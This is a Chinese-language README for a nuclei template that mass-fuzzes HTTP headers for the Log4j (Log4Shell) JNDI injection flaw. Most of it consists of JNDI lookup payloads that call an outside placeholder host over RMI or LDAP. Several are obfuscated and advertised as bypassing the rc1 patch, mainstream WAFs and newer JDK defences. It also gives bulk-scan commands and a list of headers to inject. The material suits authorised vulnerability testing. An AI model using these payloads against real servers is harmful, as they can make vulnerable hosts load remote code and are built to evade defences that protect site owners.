log4j-fuzz-head-poc

针对 log4j来批量fuzzz 请求头检测，有效检测一些头部存在的安全风险，nuclei默认使用interactsh的dnslog

v2版本

添加了绕过rc1的poc 也同时能绕过常见主流waf拦截，还有高版本jdk绕过

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

使用

/nuclei -t log4j-fuzz-head-poc.yaml -u http://www.test.com  -o res.txt  -rl 30 单个检测  速率为30

/nuclei -t log4j-fuzz-head-poc.yaml -l urls.txt  -o res.txt   -rl 30   批量检测  速率为30

• X-Client-IP
• X-Remote-IP
• X-Remote-Addr
• X-Forwarded-For
• X-Originating-IP
• User-Agent
• Referer
• CF-Connecting_IP
• True-Client-IP
• X-Forwarded-For
• Originating-IP
• X-Real-IP
• X-Client-IP
• Forwarded
• Client-IP
• Contact
• X-Wap-Profile
• X-Api-Version